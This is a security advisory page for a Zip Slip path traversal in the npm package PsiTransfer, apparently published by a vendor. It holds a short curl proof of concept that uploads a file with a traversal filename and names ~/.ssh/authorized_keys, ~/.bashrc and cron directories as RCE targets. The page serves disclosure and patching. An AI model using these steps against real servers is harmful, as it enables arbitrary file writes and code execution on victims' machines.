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GHSA-xphh-5v4r-r3rx

HIGH

PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

Published
Dec 30, 2025
Updated
Dec 30, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

psitransfernpm
71downloads / week

Description

Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

Details

The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');

PoC

I. Upload file with malicious filename (no authentication required).

MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 15" \
  -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"

II. Complete upload with PATCH

curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -d "MALICIOUS_CONTENT"

III. Victim downloads and extracts TAR

curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz

Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmpsitransferall versions2.3.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for psitransfer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update psitransfer to 2.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xphh-5v4r-r3rx is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xphh-5v4r-r3rx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xphh-5v4r-r3rx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE. ### Details The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries. ``` lib/endpoints.js:275 const en
O3 Security · Impact-Aware SCA

Is GHSA-xphh-5v4r-r3rx in your dependencies?

O3 detects GHSA-xphh-5v4r-r3rx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.